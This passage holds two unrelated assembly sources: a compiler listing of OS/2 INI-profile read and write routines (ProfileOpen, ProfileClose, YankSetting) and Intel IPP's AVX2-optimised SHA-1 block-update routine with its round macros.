%#x", error); push ebx mov ecx,offset FLAT:@STAT8 sub esp,0ch mov edx,offset FLAT:@STAT7 mov eax,01h call Verbose ; 284 return error; add esp,028h ; 283 Verbose(1, "Profile", "PrfOpenProfile fails - error %#x", error); mov eax,ebx ; 284 return error; pop esi pop edi pop ebx ret @BLBL18: ; 289 if( p != NULL ) mov ecx,esi test ecx,ecx je @BLBL19 ; 291 YankSetting( hab, hd, p ); mov edx,edi mov eax,[esp+024h]; hab call YankSetting ; 292 p = NULL; @BLBL19: ; 297 bool = PrfCloseProfile( hd ); push edi call PrfCloseProfile mov ebx,eax ; 298 free( pszIniFile ), pszIniFile = NULL; mov eax,dword ptr @4pszIniFile call free ; 299 DosCloseMutexSem( hmtxSetting ), hmtxSetting = 0; push dword ptr @2hmtxSetting ; 298 free( pszIniFile ), pszIniFile = NULL; mov dword ptr @4pszIniFile,0h ; 299 DosCloseMutexSem( hmtxSetting ), hmtxSetting = 0; call DosCloseMutexSem add esp,08h mov dword ptr @2hmtxSetting,0h ; 301 if( bool == FALSE ) test ebx,ebx jne @BLBL20 ; 303 ULONG error = WinGetLastError( hab ); push dword ptr [esp+024h]; hab call WinGetLastError mov ebx,eax ; 304 Verbose(1, "Profile", "PrfCloseProfile fails - error %#x", error); push ebx mov ecx,offset FLAT:@STATa sub esp,0ch mov edx,offset FLAT:@STAT9 mov eax,01h call Verbose ; 305 return error; add esp,028h ; 304 Verbose(1, "Profile", "PrfCloseProfile fails - error %#x", error); mov eax,ebx ; 305 return error; pop esi pop edi pop ebx ret @BLBL20: ; 307 return 0; xor eax,eax add esp,014h pop esi pop edi pop ebx ret ProfileClose endp ; 190 { public ProfileOpen ProfileOpen proc push ebp mov ebp,esp push ebx push edi push esi push ecx mov ecx,0fe4h @BLBL57: sub ecx,01000h mov byte ptr [esp+ecx],0h cmp ecx,0ffff9fe4h jg @BLBL57 pop ecx ; 194 if( pszIniFile != NULL ) mov ecx,dword ptr @4pszIniFile ; 190 { sub esp,06028h mov [ebp+0ch],edx; filename mov [ebp+08h],eax; hab ; 194 if( pszIniFile != NULL ) test ecx,ecx je @BLBL7 ; 196 Verbose(1, "Profile", "OpenProfile: %s already open", pszIniFile); push ecx mov ecx,offset FLAT:@STAT4 sub esp,0ch mov edx,offset FLAT:@STAT3 mov eax,01h call Verbose add esp,010h ; 197 return (ULONG)-2; /* only _one_ ini-file! */ add esp,06028h mov eax,0fffffffeh pop esi pop edi pop ebx pop ebp ret @BLBL7: ; 199 pszIniFile = strdup( filename ); mov eax,[ebp+0ch]; filename call strdup mov dword ptr @4pszIniFile,eax ; 200 if( pszIniFile == NULL ) test eax,eax jne @BLBL8 ; 202 Verbose(1, "Profile", "OpenProfile: memory problem"); mov ecx,offset FLAT:@STAT6 mov edx,offset FLAT:@STAT5 mov eax,01h call Verbose ; 203 return (ULONG)-1; add esp,06028h or eax,0ffffffffh pop esi pop edi pop ebx pop ebp ret @BLBL8: ; 206 rc = DosCreateMutexSem( NULL, &hmtxSetting, 0, FALSE ); push 0h ; 214 bool = PrfQueryProfileData( hini, NULL, NULL, applist, &appcnt ); lea ebx,[ebp-018h]; appcnt ; 206 rc = DosCreateMutexSem( NULL, &hmtxSetting, 0, FALSE ); push 0h push offset FLAT:@2hmtxSetting push 0h call DosCreateMutexSem ; 209 HINI const hini = PrfOpenProfile( hab, (PSZ)filename ); push dword ptr [ebp+0ch]; filename ; 206 rc = DosCreateMutexSem( NULL, &hmtxSetting, 0, FALSE ); mov [ebp-020h],eax; rc ; 209 HINI const hini = PrfOpenProfile( hab, (PSZ)filename ); push dword ptr [ebp+08h]; hab call PrfOpenProfile ; 214 bool = PrfQueryProfileData( hini, NULL, NULL, applist, &appcnt ); push ebx lea ebx,[ebp-02020h]; applist push ebx ; 209 HINI const hini = PrfOpenProfile( hab, (PSZ)filename ); mov [ebp-014h],eax; hini ; 214 bool = PrfQueryProfileData( hini, NULL, NULL, applist, &appcnt ); push 0h ; 212 ULONG appcnt = sizeof(applist); mov dword ptr [ebp-018h],02000h; appcnt ; 214 bool = PrfQueryProfileData( hini, NULL, NULL, applist, &appcnt ); push 0h push eax call PrfQueryProfileData add esp,02ch ; 215 if( bool == TRUE ) /* OK? */ cmp eax,01h jne @BLBL9 ; 218 for(; *ap != '\0'; ap = NextWord(ap) ) cmp byte ptr [ebp-02020h],0h; applist je @BLBL9 @BLBL11: ; 223 bool = PrfQueryProfileData( hini, ap, NULL, keylist, &keycnt ); lea eax,[ebp-01ch]; keycnt push eax lea edi,[ebp-04020h]; keylist push edi mov esi,[ebp-014h]; hini push 0h ; 221 ULONG keycnt = sizeof(keylist); mov dword ptr [ebp-01ch],02000h; keycnt ; 223 bool = PrfQueryProfileData( hini, ap, NULL, keylist, &keycnt ); push ebx push esi call PrfQueryProfileData add esp,014h ; 224 if( bool == TRUE ) cmp eax,01h jne @BLBL12 ; 227 for(; *kp != '\0'; kp = NextWord(kp) ) cmp byte ptr [ebp-04020h],0h; keylist je @BLBL12 mov [ebp-06028h],ebx; ap @BLBL14: ; 232 bool = PrfQueryProfileData( hini, ap, kp, value, &size ); lea eax,[ebp-010h]; size push eax lea edx,[ebp-06020h]; value push edx ; 230 ULONG size = sizeof(value); mov dword ptr [ebp-010h],02000h; size ; 232 bool = PrfQueryProfileData( hini, ap, kp, value, &size ); push edi push ebx push esi call PrfQueryProfileData add esp,014h ; 233 if( bool == TRUE ) cmp eax,01h jne @BLBL15 ; 235 SETTING * p = malloc( sizeof(SETTING) ); mov eax,018h call malloc mov ebx,eax ; 236 memset( p, 0, sizeof(SETTING) ); mov ecx,018h xor edx,edx call memset mov [ebp-06024h],ebx; @CBE14 mov ebx,[ebp-06028h]; ap ; 237 p->app = strdup(ap); mov eax,ebx call strdup mov ecx,[ebp-06024h]; @CBE14 mov [ecx+08h],eax ; 238 p->key = strdup(kp); mov eax,edi call strdup mov ecx,[ebp-06024h]; @CBE14 mov [ecx+0ch],eax ; 239 p->data = malloc(size); mov eax,[ebp-010h]; size call malloc mov edx,[ebp-06024h]; @CBE14 mov [edx+014h],eax ; 240 p->len = size; mov ecx,[ebp-010h]; size mov [edx+010h],ecx ; 241 memcpy( p->data, value, size ); mov eax,[edx+014h] mov ecx,[ebp-010h]; size lea edx,[ebp-06020h]; value call memcpy mov ecx,[ebp-06024h]; @CBE14 ; 242 p->changed = 0; mov dword ptr [ecx+04h],0h ; 243 p->next = pSetting; mov edx,dword ptr @3pSetting mov [ecx],edx ; 244 pSetting = p; mov dword ptr @3pSetting,ecx @BLBL15: ; 227 for(; *kp != '\0'; kp = NextWord(kp) ) mov eax,edi call NextWord mov edi,eax cmp byte ptr [edi],0h jne @BLBL14 @BLBL12: ; 218 for(; *ap != '\0'; ap = NextWord(ap) ) mov eax,ebx call NextWord mov ebx,eax cmp byte ptr [ebx],0h jne @BLBL11 @BLBL9: ; 250 PrfCloseProfile( hini ); push dword ptr [ebp-014h]; hini call PrfCloseProfile add esp,04h ; 253 return rc; mov eax,[ebp-020h]; rc add esp,06028h pop esi pop edi pop ebx pop ebp ret ProfileOpen endp ; 112 { YankSetting proc push ebx sub esp,0ch mov [esp+01ch],ecx; p mov [esp+018h],edx; hd mov [esp+014h],eax; hab ; 116 if( p->next != NULL ) mov ecx,[ecx] test ecx,ecx je @BLBL1 ; 117 YankSetting(hab, hd, p->next); call YankSetting @BLBL1: ; 119 if( p->changed != 0 ) mov ecx,[esp+01ch]; p cmp dword ptr [ecx+04h],0h je @BLBL2 ; 123 bool = PrfWriteProfileData(hd, p->app, p->key, p->data, p->len); push dword ptr [ecx+010h] push dword ptr [ecx+014h] push dword ptr [ecx+0ch] push dword ptr [ecx+08h] push dword ptr [esp+028h]; hd call PrfWriteProfileData add esp,014h ; 124 if( bool == FALSE ) test eax,eax jne @BLBL2 ; 125 Verbose(1, "Profile", "PrfWriteProfileData fails - error %#x", push dword ptr [esp+014h]; hab call WinGetLastError push eax mov ecx,offset FLAT:@STAT2 sub esp,0ch mov edx,offset FLAT:@STAT1 mov eax,01h call Verbose add esp,014h @BLBL2: ; 129 free(p->app), free(p->key), free(p->data); mov ebx,[esp+01ch]; p mov eax,[ebx+08h] call free mov eax,[ebx+0ch] call free mov eax,[ebx+014h] call free mov eax,ebx ; 130 free(p); call free ; 131 return 0; add esp,0ch xor eax,eax pop ebx ret YankSetting endp CODE32 ends end
;=============================================================================== ; Copyright 2017-2020 Intel Corporation ; ; Licensed under the Apache License, Version 2.0 (the "License"); ; you may not use this file except in compliance with the License. ; You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, ; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; See the License for the specific language governing permissions and ; limitations under the License. ;=============================================================================== ; ; ; Purpose: Cryptography Primitive. ; Message block processing according to SHA1 ; ; Content: ; UpdateSHA1 ; ; %include "asmdefs.inc" %include "ia_32e.inc" %include "pcpvariant.inc" %if (_ENABLE_ALG_SHA1_) %if (_SHA_NI_ENABLING_ == _FEATURE_OFF_) || (_SHA_NI_ENABLING_ == _FEATURE_TICKTOCK_) %if (_IPP32E >= _IPP32E_L9 ) ;; ;; assignments ;; %xdefine hA eax ;; hash values into GPU registers %xdefine F ebp %xdefine hB ebx %xdefine hC ecx %xdefine hD edx %xdefine hE r8d %xdefine T1 r10d ;; SHA1 round computation (temporary) %xdefine T2 r11d %xdefine W00 ymm2 ;; W values into YMM registers %xdefine W04 ymm3 %xdefine W08 ymm4 %xdefine W12 ymm5 %xdefine W16 ymm6 %xdefine W20 ymm7 %xdefine W24 ymm8 %xdefine W28 ymm9 %xdefine W16L xmm6 %xdefine W20L xmm7 %xdefine W24L xmm8 %xdefine W28L xmm9 %xdefine WTMP1 ymm0 ;; msg schedulling computation (temporary) %xdefine WTMP2 ymm1 %xdefine WTMP3 ymm10 %xdefine YMM_SHUFB ymm11 ;; byte swap constant %xdefine YMM_K ymm12 ;; sha1 round constant value %xdefine F_PTR r13 ;; frame ptr/data block ptr ;;W_PTR textequ r12 ;; frame ptr/data block ptr ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; textual rotation of W array ;; %macro ROTATE_W 0.nolist %xdefine W_minus_32 W_minus_28 %xdefine W_minus_28 W_minus_24 %xdefine W_minus_24 W_minus_20 %xdefine W_minus_20 W_minus_16 %xdefine W_minus_16 W_minus_12 %xdefine W_minus_12 W_minus_08 %xdefine W_minus_08 W_minus_04 %xdefine W_minus_04 W %xdefine W W_minus_32 %endmacro ;; ;; msg schedulling for initial 00-15 sha1 rounds: ;; - byte swap input ;; - add sha1 round constant %macro W_CALC_00_15 2.nolist %xdefine %%nr %1 %xdefine %%Wchunk %2 vpshufb W, %%Wchunk, YMM_SHUFB vpaddd %%Wchunk, W, YMM_K vmovdqa ymmword [F_PTR + (%%nr)*sizeof(dword)*2], %%Wchunk ROTATE_W %endmacro ;; ;; msg schedulling for other 16-79 sha1 rounds: ;; %macro W_CALC 1.nolist %xdefine %%rndw %1 %if (%%rndw < 32) %if ((%%rndw & 3) == 0) ;; scheduling to interleave with ALUs vpalignr W, W_minus_12, W_minus_16, 8 ;; w[t-14] vpsrldq WTMP1, W_minus_04, 4 ;; w[t-3] vpxor W, W, W_minus_16 vpxor WTMP1, WTMP1, W_minus_08 %elif ((%%rndw & 3) == 1) vpxor W, W, WTMP1 vpsrld WTMP1, W, 31 vpslldq WTMP2, W, 12 vpaddd W, W, W %elif ((%%rndw & 3) == 2) vpsrld WTMP3, WTMP2, 30 vpxor W, W, WTMP1 vpslld WTMP2, WTMP2, 2 vpxor W, W, WTMP3 %elif ((%%rndw & 3) == 3) vpxor W, W, WTMP2 ;;vpaddd WTMP1, W, ymmword [K_SHA1_PTR] vpaddd WTMP1, W, YMM_K vmovdqa ymmword [F_PTR+4*sizeof(ymmword)+((%%rndw & 15)/4)*sizeof(ymmword)],WTMP1 ROTATE_W %endif %elif (%%rndw < 80) %if ((%%rndw & 3) == 0) ;; scheduling to interleave with ALUs vpalignr WTMP1, W_minus_04, W_minus_08, 8 vpxor W, W, W_minus_28 ;; W == W_minus_32 %elif ((%%rndw & 3) == 1) vpxor W, W, W_minus_16 vpxor W, W, WTMP1 %elif ((%%rndw & 3) == 2) vpslld WTMP1, W, 2 vpsrld W, W, 30 %elif ((%%rndw & 3) == 3) vpxor W, WTMP1, W ;;vpaddd WTMP1, W, ymmword [K_SHA1_PTR] vpaddd WTMP1, W, YMM_K vmovdqa ymmword [F_PTR+4*sizeof(ymmword)+((%%rndw & 15)/4)*sizeof(ymmword)],WTMP1 ROTATE_W %endif %endif %endmacro ;; ;; update hash macro ;; %macro UPDATE_HASH 2.nolist %xdefine %%hashMem %1 %xdefine %%hash %2 add %%hash, %%hashMem mov %%hashMem, %%hash %endmacro ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; textual rotation of HASH arguments ;; %macro ROTATE_H 0.nolist %xdefine %%_X hE %xdefine hE hD %xdefine hD hC %xdefine hC hB %xdefine hB F %xdefine F hA %xdefine hA %%_X %endmacro ;; ;; SHA1 rounds 0 - 19 ;; on entry: ;; - a, f(), b', c, d, e values ;; where: f() = F(b,c,d) = (b&c) & (~b&d) already pre-computed for this round ;; b' = rotl(b,30) already pre-computed for the next round ;; note: ;; %if nr==19 the f(b,c,d)=b^c^d precomputed ;; %macro SHA1_ROUND_00_19 1.nolist %xdefine %%nr %1 ;; hE+=W[nr]+K add hE, dword [F_PTR+((%%nr & 15)/4)*sizeof(ymmword)+(%%nr & 3)*sizeof(dword)] %if (((%%nr+1) & 15) == 0) add F_PTR, (16/4)*sizeof(ymmword) %endif %if (%%nr < 19) andn T1,hA,hC ;; ~hB&hC (next round) %endif add hE, F ;; hE += F() rorx T2,hA, 27 ;; hA<<<5 rorx F, hA, 2 ;; hB<<<30 (next round) %if (%%nr < 19) and hA, hB ;; hB&hC (next round) %endif add hE, T2 ;; hE += (hA<<<5) %if (%%nr < 19) xor hA, T1 ;; F() = (hB&hC)^(~hB&hC) (next round) %else xor hA, hB ;; F() = hB^hC^hD next round xor hA, hC %endif ROTATE_H %endmacro ;; ;; SHA1 rounds 20 - 39 ;; on entry: ;; - a, f(), b', c, d, e values ;; where: f() = F(b,c,d) = b^c^d already pre-computed for this round ;; b' = rotl(b,30) already pre-computed for the next round ;; ;; note: ;; %if nr==39 the f(b,c,d)=(b^c)&(c^d) precomputed ;; %macro SHA1_ROUND_20_39 1.nolist %xdefine %%nr %1 ;; hE+=W[nr]+K add hE, dword [F_PTR+((%%nr & 15)/4)*sizeof(ymmword)+(%%nr & 3)*sizeof(dword)] %if (((%%nr+1) & 15) == 0) add F_PTR, (16/4)*sizeof(ymmword) %endif add hE, F ;; hE += F() rorx T2,hA, 27 ;; hA<<<5 rorx F, hA, 2 ;; hB<<<30 (next round) xor hA, hB ;; hB^hC (next round) add hE, T2 ;; hE += (hA<<<5) %if (%%nr < 39) xor hA, hC ;; F() = hB^hC^hD (next round) %else mov T1, hB ;; hC^hD (next round) xor T1, hC ;; and hA, T1 ;; (hB^hC)&(hC^hD) %endif ROTATE_H %endmacro ;; ;; SHA1 rounds 40 - 59 ;; on entry: ;; - a, f(), b', c, d, e values ;; where: f() = (b&c)^(c&d) already pre-computed (part of F()) for this round ;; b' = rotl(b,30) already pre-computed for the next round ;; ;; F(b,c,d) = (b&c)^(b&d)^(c&d) ;; ;; note, using GF(2): arithmetic ;; F(b,c,d) = (b&c)^(b&d)^(c&d) ~ bc+bd+cd ;; =(b+c)(c+d) +c^2 = (b+c)(c+d) +c ;; ~ ((b^c)&(c^d)) ^c ;; direct substitution: ;; (b+c)(c+d) = bc + bd + c^2 + cd, but c^2 = c ;; %macro SHA1_ROUND_40_59 1.nolist %xdefine %%nr %1 ;; hE+=W[nr]+K add hE, dword [F_PTR+((%%nr & 15)/4)*sizeof(ymmword)+(%%nr & 3)*sizeof(dword)] %if (((%%nr+1) & 15) == 0) add F_PTR, (16/4)*sizeof(ymmword) %endif xor F, hC ;; F() = ((b^c)&(c^d)) ^c %if(%%nr < 59) mov T1, hB ;; hC^hD (next round) xor T1, hC ;; %endif add hE, F ;; hE += F() rorx T2,hA, 27 ;; hA<<<5 rorx F, hA, 2 ;; hB<<<30 (next round) xor hA, hB ;; hB^hC (next round) add hE, T2 ;; hE += (hA<<<5) %if(%%nr < 59) and hA, T1 ;; (hB^hC)&(hC^hD) (next round) %else xor hA, hC ;; (hB^hC^hD) (next round) %endif ROTATE_H %endmacro ;; ;; SHA1 rounds 60 - 79 ;; on entry: ;; - a, f(), b', c, d, e values ;; where: f() = F(b,c,d) = b^c^d already pre-computed for this round ;; b' = rotl(b,30) already pre-computed for the next round ;; %macro SHA1_ROUND_60_79 1.nolist %xdefine %%nr %1 ;; hE+=W[nr]+K add hE, dword [F_PTR+((%%nr & 15)/4)*sizeof(ymmword)+(%%nr & 3)*sizeof(dword)] %if (((%%nr+1) & 15) == 0) add F_PTR, (16/4)*sizeof(ymmword) %endif add hE, F ;; hE += F() rorx T2,hA, 27 ;; hA<<<5 %if (%%nr < 79) rorx F, hA, 2 ;; hB<<<30 (next round) xor hA, hB ;; hB^hC (next round) %endif add hE, T2 ;; hE += (hA<<<5) %if (%%nr < 79) xor hA, hC ;; F() = hB^hC^hD (next round) %endif ROTATE_H %endmacro ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; segment .text align=IPP_ALIGN_FACTOR align IPP_ALIGN_FACTOR SHA1_YMM_K dd 05a827999h, 05a827999h, 05a827999h, 05a827999h, 05a827999h, 05a827999h, 05a827999h, 05a827999h dd 06ed9eba1h, 06ed9eba1h, 06ed9eba1h, 06ed9eba1h, 06ed9eba1h, 06ed9eba1h, 06ed9eba1h, 06ed9eba1h dd 08f1bbcdch, 08f1bbcdch, 08f1bbcdch, 08f1bbcdch, 08f1bbcdch, 08f1bbcdch, 08f1bbcdch, 08f1bbcdch dd 0ca62c1d6h, 0ca62c1d6h, 0ca62c1d6h, 0ca62c1d6h, 0ca62c1d6h, 0ca62c1d6h, 0ca62c1d6h, 0ca62c1d6h SHA1_YMM_BF dd 00010203h,04050607h,08090a0bh,0c0d0e0fh dd 00010203h,04050607h,08090a0bh,0c0d0e0fh ;***************************************************************************************** ;* Purpose: Update internal digest according to message block ;* ;* void UpdateSHA1(DigestSHA1 digest, const Ipp32u* mblk, int mlen, const void* pParam) ;* ;***************************************************************************************** align IPP_ALIGN_FACTOR IPPASM UpdateSHA1,PUBLIC %assign LOCAL_FRAME (sizeof(dword)*80*2) USES_GPR rdi,rsi,rbp,rbx,r12,r13,r14,r15 USES_XMM_AVX xmm6,xmm7,xmm8,xmm9,xmm10,xmm11,xmm12 COMP_ABI 4 ;; rdi = hash ptr ;; rsi = data block ptr ;; rdx = data length in bytes ;; rcx = dummy %xdefine MBS_SHA1 (64) mov r15, rsp ; store orifinal rsp and rsp, -IPP_ALIGN_FACTOR ; 32-byte aligned stack movsxd r14, edx ; input length in bytes vmovdqa YMM_SHUFB, [rel SHA1_YMM_BF] ; load byte shuffler mov hA, dword [rdi] ; load initial hash value mov F, dword [rdi+sizeof(dword)] mov hC, dword [rdi+2*sizeof(dword)] mov hD, dword [rdi+3*sizeof(dword)] mov hE, dword [rdi+4*sizeof(dword)] ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; process next data 2 block ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; assignment: ;; - W00,...,W28 are fixed ;; - W_minus_04,...,W_minus_32 are rorarted ;; - W corresponds to W[t] ;; %xdefine W W00 %xdefine W_minus_04 W04 %xdefine W_minus_08 W08 %xdefine W_minus_12 W12 %xdefine W_minus_16 W16 %xdefine W_minus_20 W20 %xdefine W_minus_24 W24 %xdefine W_minus_28 W28 %xdefine W_minus_32 W align IPP_ALIGN_FACTOR .sha1_block2_loop: lea F_PTR, [rsi+MBS_SHA1] ; next block cmp r14, MBS_SHA1 ; %if single block processed cmovbe F_PTR, rsi ; use the same data block address ;; ;; load data block and merge next data block ;; vmovdqa YMM_K, [rel SHA1_YMM_K] ; pre-load sha1 constant vmovdqu W28L, xmmword [rsi] ; load data block vmovdqu W24L, xmmword [rsi+1*sizeof(xmmword)] vmovdqu W20L, xmmword [rsi+2*sizeof(xmmword)] vmovdqu W16L, xmmword [rsi+3*sizeof(xmmword)] vinserti128 W28, W28, xmmword [F_PTR], 1 ; merge next data block vinserti128 W24, W24, xmmword [F_PTR+1*sizeof(xmmword)], 1 vinserti128 W20, W20, xmmword [F_PTR+2*sizeof(xmmword)], 1 vinserti128 W16, W16, xmmword [F_PTR+3*sizeof(xmmword)], 1 mov F_PTR, rsp ;; set local data pointer W_CALC_00_15 0, W28 ;; msg scheduling for rounds 00 .. 15 W_CALC_00_15 4, W24 ;; W_CALC_00_15 8, W20 ;; msg scheduling for rounds 08 .. 15 W_CALC_00_15 12, W16 ;; rorx hB, F, 2 ;; pre-compute (b<<<30) next round andn T1,F, hD ;; pre-compute F1(F,hC,hD) = hB&hC ^(~hB&hD) and F, hC xor F, T1 W_CALC 16 ;; msg schedilling ahead 16 rounds SHA1_ROUND_00_19 0 ;; sha1 round W_CALC 17 SHA1_ROUND_00_19 1 W_CALC 18 SHA1_ROUND_00_19 2 W_CALC 19 SHA1_ROUND_00_19 3 ; pre-load sha1 constant vmovdqa YMM_K, [rel SHA1_YMM_K+sizeof(ymmword)] W_CALC 20 SHA1_ROUND_00_19 4 W_CALC 21 SHA1_ROUND_00_19 5 W_CALC 22 SHA1_ROUND_00_19 6 W_CALC 23 SHA1_ROUND_00_19 7 W_CALC 24 SHA1_ROUND_00_19 8 W_CALC 25 SHA1_ROUND_00_19 9 W_CALC 26 SHA1_ROUND_00_19 10 W_CALC 27 SHA1_ROUND_00_19 11 W_CALC 28 SHA1_ROUND_00_19 12 W_CALC 29 SHA1_ROUND_00_19 13 W_CALC 30 SHA1_ROUND_00_19 14 W_CALC 31 SHA1_ROUND_00_19 15 W_CALC 32 SHA1_ROUND_00_19 16 W_CALC 33 SHA1_ROUND_00_19 17 W_CALC 34 SHA1_ROUND_00_19 18 W_CALC 35 SHA1_ROUND_00_19 19 W_CALC 36 SHA1_ROUND_20_39 20 W_CALC 37 SHA1_ROUND_20_39 21 W_CALC 38 SHA1_ROUND_20_39 22 W_CALC 39 SHA1_ROUND_20_39 23 ; pre-load sha1 constant vmovdqa YMM_K, [rel SHA1_YMM_K+2*sizeof(ymmword)] W_CALC 40 SHA1_ROUND_20_39 24 W_CALC 41 SHA1_ROUND_20_39 25 W_CALC 42 SHA1_ROUND_20_39 26 W_CALC 43 SHA1_ROUND_20_39 27 W_CALC 44 SHA1_ROUND_20_39 28 W_CALC 45 SHA1_ROUND_20_39 29 W_CALC 46 SHA1_ROUND_20_39 30 W_CALC 47 SHA1_ROUND_20_39 31 W_CALC 48 SHA1_ROUND_20_39 32 W_CALC 49 SHA1_ROUND_20_39 33 W_CALC 50 SHA1_ROUND_20_39 34 W_CALC 51 SHA1_ROUND_20_39 35 W_CALC 52 SHA1_ROUND_20_39 36 W_CALC 53 SHA1_ROUND_20_39 37 W_CALC 54 SHA1_ROUND_20_39 38 W_CALC 55 SHA1_ROUND_20_39 39 W_CALC 56 SHA1_ROUND_40_59 40 W_CALC 57 SHA1_ROUND_40_59 41 W_CALC 58 SHA1_ROUND_40_59 42 W_CALC 59 SHA1_ROUND_40_59 43 ; pre-load sha1 constant vmovdqa YMM_K, [rel SHA1_YMM_K+3*sizeof(ymmword)] W_CALC 60 SHA1_ROUND_40_59 44 W_CALC 61 SHA1_ROUND_40_59 45 W_CALC 62 SHA1_ROUND_40_59 46 W_CALC 63 SHA1_ROUND_40_59 47 W_CALC 64 SHA1_ROUND_40_59 48 W_CALC 65 SHA1_ROUND_40_59 49 W_CALC 66 SHA1_ROUND_40_59 50 W_CALC 67 SHA1_ROUND_40_59 51 W_CALC 68 SHA1_ROUND_40_59 52 W_CALC 69 SHA1_ROUND_40_59 53 W_CALC 70 SHA1_ROUND_40_59 54 W_CALC 71 SHA1_ROUND_40_59 55 W_CALC 72 SHA1_ROUND_40_59 56 W_CALC 73 SHA1_ROUND_40_59 57 W_CALC 74 SHA1_ROUND_40_59 58 W_CALC 75 SHA1_ROUND_40_59 59 W_CALC 76 SHA1_ROUND_60_79 60 W_CALC 77 SHA1_ROUND_60_79 61 W_CALC 78 SHA1_ROUND_60_79 62 W_CALC 79 SHA1_ROUND_60_79 63 SHA1_ROUND_60_79 64 SHA1_ROUND_60_79 65 SHA1_ROUND_60_79 66 SHA1_ROUND_60_79 67 SHA1_ROUND_60_79 68 SHA1_ROUND_60_79 69 SHA1_ROUND_60_79 70 SHA1_ROUND_60_79 71 SHA1_ROUND_60_79 72 SHA1_ROUND_60_79 73 SHA1_ROUND_60_79 74 SHA1_ROUND_60_79 75 SHA1_ROUND_60_79 76 SHA1_ROUND_60_79 77 SHA1_ROUND_60_79 78 SHA1_ROUND_60_79 79 lea F_PTR, [rsp+sizeof(xmmword)] ;; set local data pointer ;; update hash values by 1-st data block UPDATE_HASH dword [rdi], hA UPDATE_HASH dword [rdi+4], F UPDATE_HASH dword [rdi+8], hC UPDATE_HASH dword [rdi+12],hD UPDATE_HASH dword [rdi+16],hE cmp r14, MBS_SHA1*2 jl .done rorx hB, F, 2 ;; pre-compute (b<<<30) next round andn T1,F, hD ;; pre-compute F1(F,hC,hD) = hB&hC ^(~hB&hD) and F, hC xor F, T1 SHA1_ROUND_00_19 0 SHA1_ROUND_00_19 1 SHA1_ROUND_00_19 2 SHA1_ROUND_00_19 3 SHA1_ROUND_00_19 4 SHA1_ROUND_00_19 5 SHA1_ROUND_00_19 6 SHA1_ROUND_00_19 7 SHA1_ROUND_00_19 8 SHA1_ROUND_00_19 9 SHA1_ROUND_00_19 10 SHA1_ROUND_00_19 11 SHA1_ROUND_00_19 12 SHA1_ROUND_00_19 13 SHA1_ROUND_00_19 14 SHA1_ROUND_00_19 15 SHA1_ROUND_00_19 16 SHA1_ROUND_00_19 17 SHA1_ROUND_00_19 18 SHA1_ROUND_00_19 19 SHA1_ROUND_20_39 20 SHA1_ROUND_20_39 21 SHA1_ROUND_20_39 22 SHA1_ROUND_20_39 23 SHA1_ROUND_20_39 24 SHA1_ROUND_20_39 25 SHA1_ROUND_20_39 26 SHA1_ROUND_20_39 27 SHA1_ROUND_20_39 28 SHA1_ROUND_20_39 29 SHA1_ROUND_20_39 30 SHA1_ROUND_20_39 31 SHA1_ROUND_20_39 32 SHA1_ROUND_20_39 33 SHA1_ROUND_20_39 34 SHA1_ROUND_20_39 35 SHA1_ROUND_20_39 36 SHA1_ROUND_20_39 37 SHA1_ROUND_20_39 38 SHA1_ROUND_20_39 39 SHA1_ROUND_40_59 40 SHA1_ROUND_40_59 41 SHA1_ROUND_40_59 42 SHA1_ROUND_40_59 43 SHA1_ROUND_40_59 44 SHA1_ROUND_40_59 45 SHA1_ROUND_40_59 46 SHA1_ROUND_40_59 47 SHA1_ROUND_40_59 48 SHA1_ROUND_40_59 49 SHA1_ROUND_40_59 50 SHA1_ROUND_40_59 51 SHA1_ROUND_40_59 52 SHA1_ROUND_40_59 53 SHA1_ROUND_40_59 54 SHA1_ROUND_40_59 55 SHA1_ROUND_40_59 56 SHA1_ROUND_40_59 57 SHA1_ROUND_40_59 58 SHA1_ROUND_40_59 59 SHA1_ROUND_60_79 60 SHA1_ROUND_60_79 61 SHA1_ROUND_60_79 62 SHA1_ROUND_60_79 63 SHA1_ROUND_60_79 64 SHA1_ROUND_60_79 65 SHA1_ROUND_60_79 66 SHA1_ROUND_60_79 67 SHA1_ROUND_60_79 68 SHA1_ROUND_60_79 69 SHA1_ROUND_60_79 70 SHA1_ROUND_60_79 71 SHA1_ROUND_60_79 72 SHA1_ROUND_60_79 73 SHA1_ROUND_60_79 74 SHA1_ROUND_60_79 75 SHA1_ROUND_60_79 76 SHA1_ROUND_60_79 77 SHA1_ROUND_60_79 78 SHA1_ROUND_60_79 79 ;; update hash values by 2-nd data block UPDATE_HASH dword [rdi], hA UPDATE_HASH dword [rdi+4], F UPDATE_HASH dword [rdi+8], hC UPDATE_HASH dword [rdi+12],hD UPDATE_HASH dword [rdi+16],hE ;; unfortunately 2*80%6 != 0 ;; and so need to re-order hA,F,hB,hC,hD,hE values ;; to match the code generated for 1-st block processing mov hB, hD ; re-order data physically mov hD, hA mov T1, hE mov hE, F mov F, hC mov hC, T1 ROTATE_H ; re-order data logically ROTATE_H ; twice, because 6 -(2*80%6) = 2 add rsi, MBS_SHA1*2 sub r14, MBS_SHA1*2 jg .sha1_block2_loop .done: mov rsp, r15 REST_XMM_AVX REST_GPR ret ENDFUNC UpdateSHA1 %endif ;; _IPP32E >= _IPP32E_L9 %endif ;; _FEATURE_OFF_ / _FEATURE_TICKTOCK_ %endif ;; _ENABLE_ALG_SHA1_
